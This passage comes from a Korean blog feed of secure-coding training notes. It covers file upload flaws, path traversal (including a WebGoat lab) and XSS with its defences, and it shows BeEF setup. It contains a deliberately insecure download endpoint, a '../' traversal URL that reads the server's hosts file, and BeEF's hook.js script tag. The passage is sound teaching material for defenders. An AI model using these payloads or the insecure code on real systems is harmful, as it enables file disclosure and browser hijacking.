        // 업로드 파일을 저장할 경로를 설정 
        // 웹 루트 디렉터리의 서버 실제 경로 아래에 files 디렉터리를 만들고 그 아래에 파일을 저장
        String uploadPath = session.getServletContext().getRealPath(&quot;/&quot;) + &quot;files/&quot;;
        File dir = new File(uploadPath);
        if (!dir.exists()) {
            dir.mkdir();
        }
        // 요청에서 file 이름의 파라미터를 가져와서 MultipartFile 인스턴스에 저장 ⇐ 파일에 대한 정보와 데이터가 저장
        MultipartFile file = request.getFile(&quot;file&quot;);
        // 첨부파일이 존재하는 경우 업로드 파일을 저장하는 경로 아래에 원본 파일명으로 저장
        if (file != null &amp;&amp; !&quot;&quot;.equals(file.getOriginalFilename())) {    
            String fileName = file.getOriginalFilename();
            File uploadFile = new File(uploadPath + fileName);
            // 동일한 파일이 존재하는 경우 날짜시간을 파일명 앞에 추가해서 저장
            if (uploadFile.exists()) {
                fileName = new Date().getTime() + fileName;         
                uploadFile = new File(uploadPath + fileName);
            }
            try {
                // 업로드 파일을 위에서 설정한 경로와 이름으로 저장
                file.transferTo(uploadFile);                 
            } catch (Exception e) {                
                System.out.println(&quot;upload error&quot;);
            }
            // DB에 파일명을 저장하기 위해서 설정
            boardModel.setFileName(fileName);
        }

        // 게시판 내용에 개행문자를 &lt;br/&gt; 태그로 변경
        String content = boardModel.getContent().replaceAll(&quot;\r\n&quot;, &quot;&lt;br /&gt;&quot;);
        boardModel.setContent(content);

        // DB 저장을 위해서 설정    
        service.writeArticle(boardModel);                        // DB에 설정된 데이터를 저장
        return &quot;redirect:list.do&quot;;
    }
</code></pre>
<ul>
<li>File Upload 취약점이 존재</li>
<li>업로드 파일의 크기와 개수를 제한하지 않고, 외부에서 접근 가능한 Web Root Directory 아래에 원본 파일명으로 저장하기 때문에</li>
</ul>
<h4 id="5-안전한-소스-코드로-변경">5. 안전한 소스 코드로 변경</h4>
<pre><code class="language-java">// BoardController.java
//     업로드 가능한 파일 확장자를 정의
    private final String[] allowedFileExtention = { &quot;.jpg&quot;, &quot;.jpeg&quot;, &quot;.png&quot;, &quot;.jfif&quot; };

    //  게시판 글저장 처리
    @RequestMapping(value = &quot;/write.do&quot;, method = RequestMethod.POST)
    public String boardWriteProc(@ModelAttribute(&quot;BoardModel&quot;) BoardModel boardModel, MultipartHttpServletRequest request, HttpSession session) {
        // S: CSRF 방어
        String stoken = (String)session.getAttribute(&quot;session_token&quot;);
        String ptoken = request.getParameter(&quot;request_token&quot;);

        if (ptoken == null || !ptoken.equals(stoken)) {
            session.setAttribute(&quot;error_message&quot;, &quot;잘못된 접근입니다.&quot;);
            return &quot;redirect:list.do&quot;;
        }
        // E: CSRF 방어

        // #1 업로드 파일을 외부에서 접근할 수 없는 경로에 저장
        // String uploadPath = session.getServletContext().getRealPath(&quot;/&quot;) + &quot;files/&quot;;
        String uploadPath = &quot;c:/upload/files/&quot;;
        File dir = new File(uploadPath);
        if (!dir.exists()) {
            dir.mkdir();
        }
        MultipartFile file = request.getFile(&quot;file&quot;);
        if (file != null &amp;&amp; !&quot;&quot;.equals(file.getOriginalFilename())) {
            // #2-1 확장자를 비교해서 이미지 파일만 업로드할 수 있도록 제한
            //      &quot;jpg&quot;, &quot;jpeg&quot;, &quot;png&quot;, &quot;jfif&quot;
            // 업로드 파일의 확장자를 추출
            String[] temp = file.getOriginalFilename().split(&quot;\\.&quot;);
            String extention = temp[temp.length-1];            
            // 확장자로 사용할 수 있는 목록에 업로드 파일의 확장자가 포함되어 있는지 확인
            List&lt;String&gt; list = new ArrayList&lt;&gt;(Arrays.asList(allowedFileExtention));
            if (!list.contains(extention)) {
                session.setAttribute(&quot;error_message&quot;, &quot;이미지 파일만 업로드 가능합니다.&quot;);
                return &quot;redirect:list.do&quot;;
            }


            // #2-2 업로드 파일의 크기가 2M 보다 큰 경우 오류 메시지와 함께 list 페이지로 리다이렉트
            if (file.getSize() &gt; 2097152) {
                session.setAttribute(&quot;error_message&quot;, &quot;2MB 이하의 크기만 첨부할 수 있습니다.&quot;);
                return &quot;redirect:list.do&quot;;
            }

            // #3 외부에서 알 수 없도록 저장 파일명을 다른게 설정
            String savedFileName = UUID.randomUUID().toString();
            String fileName = file.getOriginalFilename();
            // File uploadFile = new File(uploadPath + fileName);
            File uploadFile = new File(uploadPath + savedFileName);
            /*    중복된 파일명이 생성되지 않으므로 주석 처리
            if (uploadFile.exists()) {
                fileName = new Date().getTime() + fileName;
                uploadFile = new File(uploadPath + fileName);
            }
            */

            try {
                file.transferTo(uploadFile);
            } catch (Exception e) {
                System.out.println(&quot;upload error&quot;);
            }

            // #4 파일 저장 시 사용한 파일명을 DB에 저장할 수 있도록 설정
            boardModel.setSavedFileName(savedFileName);
            boardModel.setFileName(fileName);
        }
        String content = boardModel.getContent().replaceAll(&quot;\r\n&quot;, &quot;&lt;br /&gt;&quot;);
        boardModel.setContent(content);
        service.writeArticle(boardModel);
        return &quot;redirect:list.do&quot;;
    }</code></pre>
<h4 id="6-변경된-소스-코드-확인">6. 변경된 소스 코드 확인</h4>
<p>파일이 저장될 디렉토리 생성하기
<img src="https://velog.velcdn.com/images/p-jina/post/55cbcd01-c52f-40fc-a59d-591a35375c83/image.png" alt=""></p>
<p>OS Command 파일 업로드하기
<img src="https://velog.velcdn.com/images/p-jina/post/9c921ea1-09a8-487a-8d12-768322372b5f/image.png" alt=""></p>
<p>파일 업로드 취약점을 보완하면 업로드 파일이 외부에서 접근할 수 없는 경로에 원본 파일명이 아닌 다른 이름으로 저장되기 때문에 URL 주소를 이용해서는 접근할 수 없음 </p>
<p>∴ 다운로드 기능이 필요 = 접근할 수 없는 경로의 파일을 읽어서 응답으로 반환하는 기능 </p>
<h4 id="7-파일-다운로드-기능-만들기">7. 파일 다운로드 기능 만들기</h4>
<p>BoardController.java에 이미지 다운로드 기능 구현하기</p>
<pre><code class="language-java">// BoardController.java
    @RequestMapping(&quot;/download.do&quot;)
    public void download(HttpServletRequest request, HttpSession session, HttpServletResponse response) {
        // 요청 파라미터로 전달된 게시판 ID를 추출한다.
        int idx = Integer.parseInt(request.getParameter(&quot;idx&quot;));
        //저장된 파일이름(savedFileName)을 추출하기 위해 게시판 ID와 일치하는 게시판 정보를 조회한다. 
        BoardModel board = service.getOneArticle(idx);

        if (board == null) {
            return;
        }

        // 원본 파일명 추출한다.
        String filename = board.getFileName();
        //저장에 사용한 파일명을 추출한다.
        String savedFileName = board.getSavedFileName();
        // 파일의 저장 경로 + 저장 파일명 ==&gt; 파일을 열고 읽을 수 있다.
        String filePath = &quot;c:/upload/files/&quot; + savedFileName;

        BufferedOutputStream out = null;
        InputStream in = null;
        try {
            response.setContentType(&quot;image/jpeg&quot;);
            response.setHeader(&quot;Content-Disposition&quot;, &quot;inline;filename=&quot; + filename);
            File file = new File(filePath);
            in = new FileInputStream(file);
            out = new BufferedOutputStream(response.getOutputStream());
            int len;
            byte[] buf = new byte[1024];
            while ((len = in.read(buf)) &gt; 0) {
                out.write(buf, 0, len);
            }
        } catch (Exception e) {
            e.printStackTrace();
            System.out.println(&quot;파일 전송 에러&quot;);
        } finally {
            if (out != null) {
                try {
                    out.close();
                } catch (Exception e) {

                }
            }
            if (in != null) {
                try {
                    in.close();
                } catch (Exception e) {

                }
            }
        }
    }</code></pre>
<p>첨부했던 파일을 URL을 통해서 호출X → 다운로드 기능을 이용해 다운로드 받도록 view.jsp 수정</p>
<pre><code class="language-java">// view.jsp
&lt;c:if test=&quot;${board.fileName != null}&quot;&gt;
  &lt;tr&gt;
    &lt;td colspan=&quot;4&quot; align=&quot;left&quot;&gt;
        첨부파일 : 
        &lt;br /&gt;&lt;a href=&quot;../files/${board.fileName}&quot; target=&quot;_blank&quot;&gt;${board.fileName}&lt;/a&gt;
        &lt;br /&gt;&lt;img src=&quot;../files/${board.fileName}&quot; /&gt;
        &lt;hr/&gt;
        수정된 첨부파일 보기
        &lt;br /&gt;&lt;a href=&quot;download.do?idx=${board.idx}&quot; target=&quot;_blank&quot;&gt;${board.fileName}&lt;/a&gt;
        &lt;br /&gt;&lt;img src=&quot;download.do?idx=${board.idx}&quot; /&gt;
        &lt;br /&gt;
    &lt;/td&gt;
  &lt;/tr&gt;
&lt;/c:if&gt;</code></pre>
<h4 id="8-다운로드-기능을-잘못-구현하는-경우">8. 다운로드 기능을 잘못 구현하는 경우</h4>
<p>view.jsp</p>
<pre><code class="language-java">&lt;c:if test=&quot;${board.fileName != null}&quot;&gt;
    &lt;tr&gt;
      &lt;td colspan=&quot;4&quot; align=&quot;left&quot;&gt;                
           첨부파일 : 
           &lt;br /&gt;&lt;a href=&quot;../files/${board.fileName}&quot; target=&quot;_blank&quot;&gt;${board.fileName}&lt;/a&gt;
           &lt;br /&gt;&lt;img src=&quot;../files/${board.fileName}&quot; /&gt;

           &lt;hr/&gt;
           수정된 첨부파일 보기
           &lt;br /&gt;&lt;a href=&quot;download.do?idx=${board.idx}&quot; target=&quot;_blank&quot;&gt;${board.fileName}&lt;/a&gt;
           &lt;br /&gt;&lt;img src=&quot;download.do?idx=${board.idx}&quot; /&gt;

           &lt;hr/&gt;
           안전하지 않은 방식으로 수정된 첨부파일 보기
           &lt;br /&gt;&lt;a href=&quot;download2.do?file=${board.savedFileName}&quot; target=&quot;_blank&quot;&gt;${board.fileName}&lt;/a&gt;
           &lt;br /&gt;&lt;img src=&quot;download2.do?file=${board.savedFileName}&quot; /&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/c:if&gt;</code></pre>
<p>BoardController.java</p>
<pre><code class="language-java">// 안전하지 않은 방법으로 이미지 다운로드 기능을 구현
    @RequestMapping(&quot;/download2.do&quot;)
    public void download2(HttpServletRequest request, HttpSession session, HttpServletResponse response) {
        // 요청 파라미터로 전달된 저장 이미지 이름을 추출
        String savedFileName = request.getParameter(&quot;file&quot;);

        String filePath = &quot;c:/upload/files/&quot; + savedFileName;

        BufferedOutputStream out = null;
        InputStream in = null;
        try {
            response.setContentType(&quot;image/*&quot;);
            response.setHeader(&quot;Content-Disposition&quot;, &quot;inline; filename=&quot; + savedFileName);
            File file = new File(filePath);
            in = new FileInputStream(file);
            out = new BufferedOutputStream(response.getOutputStream());
            int len;
            byte[] buf = new byte[1024];
            while ((len = in.read(buf)) &gt; 0) {
                out.write(buf, 0, len);
            }
        } catch (Exception e) {
            e.printStackTrace();
            System.out.println(&quot;파일 전송 에러&quot;);
        } finally {
            if (out != null) {
                try {
                    out.close();
                } catch (Exception e) {

                }
            }
            if (in != null) {
                try {
                    in.close();
                } catch (Exception e) {

                }
            }
        }
    }</code></pre>
<p>이미지 다운로드 경로를 아래와 같이 변경 후 브라우저를 통해서 요청 ⇒ 다운로드 받은 파일을 메모장으로 열어보면 해당 서버의 hosts 파일 내용이 제공
<code>http://victim:8080/openeg/board/download2.do?file=../../../../../../../../Windows/System32/drivers/etc/hosts</code></p>
<h2 id="2-경로-조작--path-traversal">2. 경로 조작 = Path Traversal</h2>
<h3 id="21-정의">2.1. 정의</h3>
<ul>
<li>Path Traversal or Directory Traversal</li>
<li>외부에서 전달된 값이 서부 내부의 파일을 참조하는데 사용되는 경우 경로를 조작하는 특수문자 등을 포함 여부를 확인하지 않고, 사용하면 제한된 경로를 벗어나 시스템 파일 등에 접근이 가능해지는 취약점이다.</li>
</ul>
<p>다음은 파일 다운로드 코드의 일부이다.</p>
<pre><code class="language-java">String filePath = request.getParameter(&quot;file&quot;);    
File file = new File(filePath);
// 예상 경로 ⇒ download.do?file=c:/upload/files/SAVEDFILENAME</code></pre>
<p>위와 같이 작성 시 요청 파라미터를 통해서 서버 내부의 파일 저장 경로가 노출될 수 있다. 그러므로 파일이 저장된 경로를 외부에서 알 수 없도록 하게 위해서는 아래 코드처럼 외부에서는 파일명만 받아오고, 서버 내부에서 가지고 있는 저장 경로를 결합해서 파일을 오픈해야 한다.</p>
<pre><code class="language-java">String savedFileName = request.getParameter(&quot;file&quot;);
String filePath = &quot;c:/upload/files/&quot; + savedFileName</code></pre>
<p>이 방식은 파일 저장 경로는 외부에 노출되지 않으나, 파일명에 경로 조작 문자열 포함 여부를 확인하지 않았기 때문에 원래 접근할 수 없는 (시스템) 경로의 파일을 다운로드 할 수 있는 문제가 발생할 수 있다.</p>
<h3 id="22-방어-기법">2.2. 방어 기법</h3>
<p>외부 입력값을 서버 내부 파일을 참조하는데 사용하는 경우</p>
<ul>
<li>외부 입력값에 경로 조작 문자열 포함 여부를 확인하고 사용</li>
<li>사용할 수 있는 값을 미리 정의하고 정의된 범위 내의 값만 사용하도록 제한 ⇒ 허용 목록 방식의 제한</li>
</ul>
<p>∴ 파일 업로드 기능을 안전하게 구현하면 필연적으로 파일 다운로드 기능을 구현해야 하며, 파일 다운로드 기능을 구현할 때는 경로 조작 취약점이 발생하지 않도록 해야 한다.</p>
<h3 id="실습문제2---경로-순회">실습문제2 - 경로 순회</h3>
<p><a href="http://victim:8080/WebGoat/attack">WebGoat</a> (id: webgoat / pw: webgoat) &gt; Access Control Flaws &gt; Bypass a Path Based Access Control Scheme</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/342469db-7d77-475a-8ce7-21c3206e4077/image.png" alt=""></p>
<h4 id="1-목적">1. 목적</h4>
<p><code>C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\conf\tomcat-users.xml</code> 파일의 내용을 화면에 출력해보기</p>
<h4 id="2-소스코드-확인-1">2. 소스코드 확인</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/56edb3e9-fa8e-47af-ae3e-4781cbaa7718/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/58109281-7bd3-470f-a80a-f6eec635e618/image.png" alt=""></p>
<p>예상 요청 방식
POST attack?Scrren=51&amp;menu=200 HTTP 1.1
File=AccessControlMatrix.html&amp;SUBMIT=View+File</p>
<h4 id="3-burpsuit로-서버에-accesscontrolmatrixhtml을-요청하는-패킷-intercept">3. BurpSuit로 서버에 AccessControlMatrix.html을 요청하는 패킷 Intercept</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/75956a74-fb51-44a3-85a6-e14c84e5fc4c/image.png" alt=""></p>
<p>File 값으로 <code>..</code> 와 <code>/</code> 를 사용이 가능한지 확인 후 경로 작성</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/9d48effa-584b-4e1e-b469-00298ba59521/image.png" alt=""></p>
<h4 id="4-결과-확인">4. 결과 확인</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/20177b61-f0c2-474c-9261-7e4f4c12422a/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][취약점 진단] XSS의 개요와 공격 실습, BeeF 공격 프레임워크 사용법, SOP, CORS, CSP]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-XSS%EC%9D%98-%EA%B0%9C%EC%9A%94%EC%99%80-%EA%B3%B5%EA%B2%A9-%EC%8B%A4%EC%8A%B5-BeeF-%EA%B3%B5%EA%B2%A9-%ED%94%84%EB%A0%88%EC%9E%84%EC%9B%8C%ED%81%AC-%EC%82%AC%EC%9A%A9%EB%B2%95-SOP-CORS-CSP</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-XSS%EC%9D%98-%EA%B0%9C%EC%9A%94%EC%99%80-%EA%B3%B5%EA%B2%A9-%EC%8B%A4%EC%8A%B5-BeeF-%EA%B3%B5%EA%B2%A9-%ED%94%84%EB%A0%88%EC%9E%84%EC%9B%8C%ED%81%AC-%EC%82%AC%EC%9A%A9%EB%B2%95-SOP-CORS-CSP</guid>
            <pubDate>Tue, 19 Dec 2023 05:44:39 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>XSS와 CSRF 차이점</strong>
공격 위치가 다르다. XSS는 사용자의 클라이언트 PC를 공격하고, CSRF는 서버를 공격한다.</p>
</blockquote>
<blockquote>
<p><a href="http://victim:8080/openeg">http://victim:8080/openeg</a> (id: test / pw :test)
<a href="http://victim:8080/WebGoat/attack">http://victim:8080/WebGoat/attack</a> (id: webgoat / pw: webgoat)
<a href="http://beebox/bWAPP">http://beebox/bWAPP</a> (id: bee / pw: bug)</p>
</blockquote>
<h2 id="1-xss">1. XSS</h2>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li>크로스 사이트 스크립트(Cross-Site Scripting : XSS)의 약어</li>
<li><span style="color:#e06c75"><strong>공격자가 전달한 스크립트 코드</strong></span>가 사용자 브라우저를 통해서 실행되는 경우</li>
</ul>
<h3 id="12-목적">1.2. 목적</h3>
<ol>
<li>사용자에게 가짜 페이지를 제공, 입력 유도해서 사용자 정보 탈취</li>
<li>사용자 브라우저 또는 PC에 저장된 정보 탈취</li>
<li>사용자 PC 제어권 탈취</li>
</ol>
<h3 id="13-자동화-툴">1.3. 자동화 툴</h3>
<p><a href="https://beefproject.com/">Beef(The Browser Exploitation Framework)</a></p>
<h3 id="14-종류">1.4. 종류</h3>
<blockquote>
<p><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">PortSwigger에서 제공하는 XSS Cheat Sheet</a></p>
</blockquote>
<ul>
<li><p><strong>Stored XSS (=Persistent XSS)</strong>
<span style="color:#e06c75"><strong>악성 스크립트 코드가 서버에 저장</strong></span>되고, 한 번 저장된 스크립트 코드가 불특정 다수의 사용자에게 <span style="color:#e06c75"><strong>지속적으로 전달되어 실행될 때 발생</strong></span>된다. 예를 들면 게시물에 악성 스크립트를 포함하여 개제하는 경우 해당 게시물을 조회하는 모든 사용자가 공격받게 된다.</p>
</li>
<li><p><strong>Reflective XSS</strong>
<span style="color:#e06c75"><strong>입력값이 다음 화면 출력에 그대로 사용되는 경우</strong></span>, 입력값에 스크립트 코드 포함 여부를 확인하지 않고 그대로 화면 출력에 사용하면 입력값으로 전달된 스크립트 코드가 사용자 브라우저에서 실행된다.</p>
</li>
<li><p><strong>DOM Based XSS</strong>
<span style="color:#e06c75"><strong>개발자가 작성한 자바스크립트 코드의 취약점을 이용한 공격</strong></span>으로 보안이 취약한 웹 페이지에 악성 스크립트가 포함된 URL 주소를 삽입해 사용자가 URL을 클릭하면 악성 스크립트가 실행된다.</p>
<pre><code class="language-html">&lt;html&gt;
&lt;head&gt;
  &lt;script type=&quot;text/javascript&quot;&gt;
    &lt;!-- URL주소에 해시값이 존재하면 서버로 해시값 경로에 위치한 페이지 요청 --&gt;  
    const hash = window.location.hash.slice(1)
      if (hash) {
          window.location.href = decodeURIComponent(hash)
      }
    &lt;!-- 해시값이 변경될 때마다 서버에 특정 페이지 요청 --&gt;
      window.addEventListener(&#39;hashchange&#39;, function () {
          window.location.href = decodeURIComponent(window.location.hash.slice(1))
      });
  &lt;/script&gt;
  &lt;title&gt;DOM Based XSS&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;a id=&quot;first&quot; href=&quot;#first&quot; class=&quot;item&quot;&gt;First 바로가기&lt;/a&gt;
  &lt;!--
      해시값 다음에 나오는 값에 대한 검증 구문이 없기 때문에 &lt;a&gt;태그의 href 부분을 조작할 수 있다.
      개발자가 의도하지 않은 경로로 유도 가능.
      href=&quot;사용자가 신뢰하는 페이지 주소#공격자가 만들어놓은 가짜페이지 주소&quot;
  --&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</li>
</ul>
<blockquote>
<p>종료태그가 없는 태그 = 빈 태그
<code>&lt;br&gt;</code> <code>&lt;img&gt;</code> <code>&lt;meta&gt;</code> <code>&lt;link&gt;</code> <code>&lt;input&gt;</code> <code>&lt;hr&gt;</code></p>
</blockquote>
<h3 id="15-대응방안">1.5. 대응방안</h3>
<ol>
<li>입력값에 실행 가능한 코드가 포함되어 있는지 확인<ul>
<li>오류 처리</li>
<li>제거 후 사용</li>
<li>안전한 문자로 대체해서 사용</li>
</ul>
</li>
<li>출력값에 의도하지 않은 실행 가능한 코드가 포함되어 있는지 확인<ul>
<li>제거 후 출력</li>
<li>안전한 문자로 대체해서 사용 ⇒ HTML 인코딩해서 출력</li>
</ul>
</li>
<li>필터링, 인코딩 작업을 수행할 때는 검증된 로직, 라이브러리, 프레임워크를 사용해서 구현<ul>
<li>왜? <span style="color:#e06c75"><strong>다양한 입력 패턴이 존재하기 때문에 개인이 수작업으로 방어하는 것은 불가능에 가깝다.</strong></span></li>
<li>대표 라이브러리 : <a href="https://github.com/naver/lucy-xss-filter">Luxy XSS Filter</a></li>
</ul>
</li>
</ol>
<h3 id="실습문제1---stored-xss">실습문제1 - Stored XSS</h3>
<p>Kali Linux &gt; <a href="http://victim:8080/openeg">http://victim:8080/openeg</a> &gt; 보안코딩테스트 &gt; XSS
<img src="https://velog.velcdn.com/images/p-jina/post/298e1ff6-1e7b-4317-82ed-12ab3f53d43c/image.png" alt=""></p>
<pre><code class="language-java">// TestController.java
    @RequestMapping(value = &quot;/test/xss_test.do&quot;, method = RequestMethod.POST)
    @ResponseBody
    public String testXss(HttpServletRequest request) {
        StringBuffer buffer = new StringBuffer();
        String data = request.getParameter(&quot;data&quot;);
        buffer.append(data);
        return buffer.toString();
    }</code></pre>
<ul>
<li><strong>안전한 코드로 변경하는 방법</strong><ul>
<li><a href="https://github.com/naver/lucy-xss-filter">Luxy XSS Filter</a> 다운로드</li>
<li>lucy-xss-1.6.3.jar 라이브러리 다운로드</li>
<li>라이브러리 위치: src/main/webapp/WEB-INF/lib </li>
<li>룰셋 파일 위치: lucy xss filter/conf/lucy-xss-superset.xml파일 &gt; 프로젝트의 src/main/java 파일로 이동</li>
</ul>
</li>
</ul>
<pre><code class="language-java">// TestController.java
@RequestMapping(value = &quot;/test/xss_test.do&quot;, method = RequestMethod.POST)
@ResponseBody
public String testXss(HttpServletRequest request) {
    StringBuffer buffer = new StringBuffer();
    String data = request.getParameter(&quot;data&quot;);

    // (1) HTML 문서에서 태그로 인식하도록 만들어주는 메타문자를 이스케프 처리
    //                                      ~~~~~~~~~~~~~~~~~~
    //                                      HTML 인코딩 =&gt; 예) &lt; 문자를 HTML 인코딩 =&gt; &amp;#60; or &amp;#x3c; or &amp;lt;
    /*
    if (data != null) {
        data = data.replaceAll(&quot;&lt;&quot;, &quot;&amp;lt;&quot;);
        data = data.replaceAll(&quot;&gt;&quot;, &quot;&amp;gt;&quot;);
    }
    */

    // (2) 검증된 라이브러리를 사용 =&gt; lucy xss filter  
    // - 라이브러리와 룰셋 파일을 프로젝트에 등록(라이브러리 src/main/java)
    // - 인스턴스를 생성
    // - 필터링 
    XssFilter filter = XssFilter.getInstance(&quot;lucy-xss-superset.xml&quot;);
    data = filter.doFilter(data);

    buffer.append(data);
    return buffer.toString();
}</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/402f3e8b-75ac-46c9-85df-6653d7484cf2/image.png" alt=""></p>
<h3 id="실습문제2---reflective-xss">실습문제2 - Reflective XSS</h3>
<p>Kali Linux &gt; <a href="http://beebox/bWAPP">http://beebox/bWAPP</a> (id: bee / pw: bug) &gt; xss-Reflected(GET)</p>
<ol>
<li>서비스 파악
First name과 Last name을 입력하면 Welcome 문구를 출력해주는 서비스</li>
</ol>
<p><img src="https://velog.velcdn.com/images/p-jina/post/80c6571d-3aa9-478e-9ac8-b9042341d239/image.png" alt=""></p>
<ol start="2">
<li>소스코드 분석<ul>
<li>요청 GET /bWAPP/xss_get.php</li>
<li>firstname=이름&amp;lastname=성&amp;form=submit</li>
</ul>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a1f7a327-ea29-4e7c-82d9-b79be6ebe560/image.png" alt=""></p>
<ol start="3">
<li>입력창에 스크립트 구문 작성 후 Submit</li>
</ol>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a4b3a971-d39a-484f-b37d-4448ad1b51a4/image.png" alt=""></p>
<ol start="4">
<li>취약점 존재 확인<ul>
<li>취약점 유형 : Reflective XSS</li>
<li>판단 근거 : 입력값이 화면 출력에 사용되고 있고, 입력값에 스크립트 코드 포함 여부를 확인하지 않고 그대로 출력에 사용하고 있다.</li>
<li>대응 방안 : PHP 내장함수 htmlentities()나 htmlspecialchars()를 이용하여 이스케이프 한다.</li>
</ul>
</li>
</ol>
<p>/var/www/bWAPP/xss_get.php ⇒ 126라인</p>
<pre><code class="language-php">&lt;?php

   if(isset($_GET[&quot;firstname&quot;]) &amp;&amp; isset($_GET[&quot;lastname&quot;])){   
       $firstname = htmlentities($_GET[&quot;firstname&quot;], ENT_QUOTES);
       $lastname = htmlentities($_GET[&quot;lastname&quot;], ENT_QUOTES);    

       if($firstname == &quot;&quot; or $lastname == &quot;&quot;){
           echo &quot;&lt;font color=\&quot;red\&quot;&gt;Please enter both fields...&lt;/font&gt;&quot;;       
       }else{ 
           echo &quot;Welcome &quot; . xss($firstname) . &quot; &quot; . xss($lastname);   
       }
   }

?&gt;</code></pre>
<ol start="5">
<li>대응 방안 적용</li>
</ol>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7eab502b-3763-4592-aa74-e67d8f708bfd/image.png" alt=""></p>
<p>스크립트가 문자열 그대로 출력되는 것을 확인할 수 있다.</p>
<h3 id="실습문제3---dom-based-xss">실습문제3 - DOM Based XSS</h3>
<pre><code class="language-java">// TestController.java
    @RequestMapping(value = &quot;/test/xss_test_c.do&quot;, method = RequestMethod.POST)
    @ResponseBody
    public String testXssC(HttpServletRequest request) {
        StringBuffer buffer = new StringBuffer();
        String data = request.getParameter(&quot;data&quot;);
        data = data.replaceAll(&quot;&lt;&quot;, &quot;&amp;lt;&quot;).replaceAll(&quot;&gt;&quot;, &quot;&amp;gt;&quot;);
        buffer.append(data);
        return buffer.toString();
    }</code></pre>
<p><strong>안전한 코드로 변경하는 방법</strong></p>
<pre><code class="language-java">    @RequestMapping(value = &quot;/test/xss_test.do&quot;, method = RequestMethod.POST)
    @ResponseBody
    public String testXss(HttpServletRequest request) {
        StringBuffer buffer = new StringBuffer();
        String data = request.getParameter(&quot;data&quot;);

        // #1 HTML 문서에서 태그로 인식하도록 만들어주는 메타문자를 이스케프 처리
        //                                      ~~~~~~~~~~~~~~~~~~
        //                                      HTML 인코딩 =&gt; 예) &lt; 문자를 HTML 인코딩 =&gt; &amp;#60; or &amp;#x3c; or &amp;lt;
        /*
        if (data != null) {
            data = data.replaceAll(&quot;&lt;&quot;, &quot;&amp;lt;&quot;);
            data = data.replaceAll(&quot;&gt;&quot;, &quot;&amp;gt;&quot;);
        }
        */

        // #2 검증된 라이브러리를 사용 =&gt; lucy xss filter  
        // - 라이브러리와 룰셋 파일을 프로젝트에 등록
        // - 인스턴스를 생성
        // - 필터링 
        XssFilter filter = XssFilter.getInstance(&quot;lucy-xss-superset.xml&quot;);
        data = filter.doFilter(data);

        buffer.append(data);
        return buffer.toString();
    }</code></pre>
<blockquote>
<p>만약 luxy로도 필터링이 어려우면 java servlet을 이용하라</p>
</blockquote>
<h2 id="2-beef-공격-프레임워크-사용법">2. <a href="https://www.kali.org/tools/beef-xss/">BeeF</a> 공격 프레임워크 사용법</h2>
<p>Kali Linux에서 Beef 설치</p>
<pre><code class="language-shell">$ sudo apt update
$ sudo apt install -y beef-xss</code></pre>
<p>Beef 실행</p>
<pre><code class="language-shell">$ sudo beef-xss

[-] You are using the Default credentials
[-] (Password must be different from &quot;beef&quot;)
[-] Please type a new password for the beef user: # Beef 로그인 시 사용할 패스워드 입력
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: &lt;script src=&quot;http://&lt;IP&gt;:3000/hook.js&quot;&gt;&lt;/script&gt;
[*] Example: &lt;script src=&quot;http://127.0.0.1:3000/hook.js&quot;&gt;&lt;/script&gt;

● beef-xss.service - beef-xss
     Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)                                
     Active: active (running) since Mon 2023-12-18 23:11:31 EST; 5s ago
   Main PID: 759637 (ruby)
      Tasks: 4 (limit: 2249)
     Memory: 92.6M
        CPU: 3.968s
     CGroup: /system.slice/beef-xss.service
             └─759637 ruby /usr/share/beef-xss/beef

Dec 18 23:11:36 kali beef[759637]: == 24 CreateAutoloade…==
Dec 18 23:11:36 kali beef[759637]: == 25 CreateXssraysSc…==
Dec 18 23:11:36 kali beef[759637]: -- create_table(:xssr…s)
Dec 18 23:11:36 kali beef[759637]:    -&gt; 0.0019s
Dec 18 23:11:36 kali beef[759637]: == 25 CreateXssraysSc…==
Dec 18 23:11:36 kali beef[759637]: [23:11:35][*] BeEF is…..
Dec 18 23:11:36 kali beef[759637]: [23:11:36][!] [AdminU…ny
Dec 18 23:11:36 kali beef[759637]: [23:11:36]    |_  [Ad… !
Dec 18 23:11:36 kali beef[759637]: [23:11:36][!] [AdminU…ny
Dec 18 23:11:36 kali beef[759637]: [23:11:36]    |_  [Ad… !
Hint: Some lines were ellipsized, use -l to show in full.

# 아래 URL로 접속하기
[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1... </code></pre>
<p>Beef로 접속하기 <a href="http://127.0.0.1:3000/ui/panel">http://127.0.0.1:3000/ui/panel</a>
<img src="https://velog.velcdn.com/images/p-jina/post/e4612f15-0c17-4add-b488-91b6ab33fd7a/image.png" alt=""></p>
<p>Kali에서 XSS 취약점을 가진 게시판에 hook.js가 실행되도록 스크립트 코드를 추가</p>
